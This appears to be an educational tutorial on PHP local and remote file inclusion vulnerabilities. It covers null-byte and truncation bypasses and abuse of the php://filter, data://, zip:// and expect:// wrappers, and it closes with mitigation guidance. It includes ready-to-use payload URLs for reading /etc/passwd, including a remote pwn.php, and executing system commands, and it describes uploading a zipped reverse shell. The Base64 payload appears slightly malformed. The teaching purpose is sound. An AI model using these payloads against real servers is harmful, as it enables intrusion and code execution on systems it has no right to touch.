File inclusion vulnerabilities arise when file paths are passed to include
statements without sanitisation.
It is important to distinguish between file inclusion and directory traversal vulnerabilities, as these often get mixed up. A path traversal grants an adversary direct access to arbitrary files - the file is simply treated as if it were in the web root directory, even though it might be outside it.
In contrast, file inclusion allows for the "inclusion" of files in the application's running code. This can manifest in different ways. If the file included is a .php
script, then a simple file inclusion will execute the PHP code inside it. If the file is not a PHP file, then its contents will be included somewhere on the page.
A local file inclusion (LFI) vulnerability allows for the inclusion of local files, i.e. files which are located on the server itself. Such vulnerabilities can often lead to remote code execution if an adversary can upload to the server a file of their choosing. Another common venue of exploitation is log poisoning, whereby the adversary performs some actions in order to generate certain content in log files and then uses the LFI to execute the log file itself.
The most common place where LFIs occur is in URL file parameters. Consider the following example URL:
http://example.com/preview.php?file=index.html
If this is vulnerable to LFI, then an adversary can change the file
parameter in order to include in the web page any file they like. For example, visiting
http://example.com/preview.php?file=../../../../../../../etc/passwd`
will result in the contents of /etc/passwd
being displayed somewhere on the preview.php
web page.
If this were a path traversal instead (for example `http://example.com/../../../etc/passwd`), then the above would result in the direct *download* of the file `/etc/passwd` instead of its contents being included somewhere on the resulting web page.
A remote file inclusion (RFI) vulnerability allows us to include a file located on a remote host which is accessible via HTTP or SMB. They can be discovered by the same techniques used to find LFIs and path traversals, but instead of using a filename directly, one inserts an entire URL:
http://example.com/preview.php?file=http://192.168.0.23/pwn.php
These are usually rarer because they require specific configurations such as the allow_url_include
option in PHP.
If a host is vulnerable to an RFI, they are usually vulnerable to an LFI as well.
Sometimes exploiting file inclusions is a bit more complicated. Consider the following line of code that may be present on the server:
<?php include($_GET['file'].".php"); ?>
The .php
extension is automatically appended to the result from $_GET['file']
and so the include
statement will actually be looking for a PHP file instead of the exact path that we want it to. There are, however, several ways to bypass this.
This can be bypassed by injecting a null byte at the end of the file path. To achieve this, simply append the URL encoding (%00
) of a null byte to the end of the file path:
http://example.com/preview.php?file=../../../etc/passwd%00
A null byte denotes the end of a string and so any characters after it will be ignored. Even though the string (http://example.com/preview.php?file=../../../etc/passwd%00.php
) that gets passed to include
still ends in .php
, this extension is preceded by a null byte and will thus be ignored.
Most installations of PHP limit a file path to 4096 bytes. If a file name is longer than this, then PHP simply truncates it by discarding any additional characters. Therefore, the .php
extension can be dropped by pushing it over the 4096-byte limit. This can be achieved by URL encoding the file, using double encoding and so on.
Sometimes filters are used to try and prevent file inclusions, but these can usually be bypassed using the same techniques used with directory traversals
PHP wrappers augment file operation capabilities. There are many built-in wrappers which can be used with file system APIs, and developers can also implement custom ones. Wrappers can be found in pre-existing code on the web server or they can be injected by an adversary to enhance and further exploit a file inclusion vulnerability.
The php://filter
wrapper can be used to display the contents of sensitive files with or without encoding. It is especially useful because it allows us to read a PHP file on the server rather than execute it as a typical LFI would.
The basic syntax for the php://filter
wrapper is
php://filter/ENCODING/resource=FILE
The encoding may or may not be present. One common encoding is convert.base64-encode
.
Using the earlier example, the filter wrapper can allow an adversary to read the contents of the `preview.php` file itself!
```
http://example.com/preview.php?file=php://filter/resource=preview.php
```
The content can also be obtained in a Base64-encoded format by utilising the following payload:
```
http://example.com/preview.php?file=php://filter/convert.base64-encode/resource=preview.php
```
The data://
wrapper embeds content in a plaintext or Base64-encoded format into the code of the running web application and can be used to achieve code execution when we cannot directly poison or upload a PHP file to the server.
The `data://` wrapper requires that the `allow_url_include` option is enabled.
The plaintext syntax is the following:
data://text/plain,CODE
The Base64-encoding can be used to bypass firewalls and filters which remove common payload strings such as "system"
or "bash"
:
data://text/plain;base64,BASE64-ENCODED CODE
To weaponise the `data://` wrapper in the previous example, an adversary can use the following payload:
```
http://example.com/preview.php?file=data://text/plain,<?php%20echo%20sy
stem('ls');?>
```
This would list the contents of the current directory. Alternatively, they could use the Base64 encoding of the same code:
```
http://example.com/preview.php?file=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oImxzKTsgPz4K
```
The zip://
wrapper was introduced in PHP 7.2.0 for the manipulation of zip
compressed files. Its basic syntax is this:
zip://PATH TO ZIP#PATH INSIDE ZIP
The `#` character is usually used in its URL-encoded form, namely `%23`.
The best thing about the zip://
wrapper is that it does not require the file to have a .zip
extension. This means that this wrapper can be used to bypass file upload filters by changing the file extension to .jpg
or any permitted extension.
An adversary can leverage the `zip://` filter by creating a reverse shell in a file `code.php` and then compressing it to `exploit.zip`. If there are any extension filters, then they are free rename the ZIP file to any extension they like but will have to account for this in the final payload. After uploading the malicious ZIP file to the server, they can navigate to it via
```
http://example.com/preview.php?file=zip://uploads/exploit.zip%23code.php
```
The server will then execute the reverse shell inside the malicious file. If the `.php` extension were automatically appended by the server, then one can just change the file name `code.php` to `code` before creating the ZIP archive.
The expect://
wrapper is disabled by default since it is particularly dangerous, for it allows for direct code execution. Its syntax is
expect://COMMAND
The wrapper will execute the COMMAND
in Bash and return its result.
One should avoid passing user input to file system APIs entirely. If this is absolutely impossible to implement, then user input should be validated before processing. In the ideal case this should happen by comparing the input with a whitelist of permitted values. At the very least, one should verify that the user input contains only permitted characters such as alphanumeric ones.
After such validation, the user input should be appended to the base directory and the file system API should be used canonicalise the resulting path. Ultimately, one should verify that this canonical path begins with the base directory.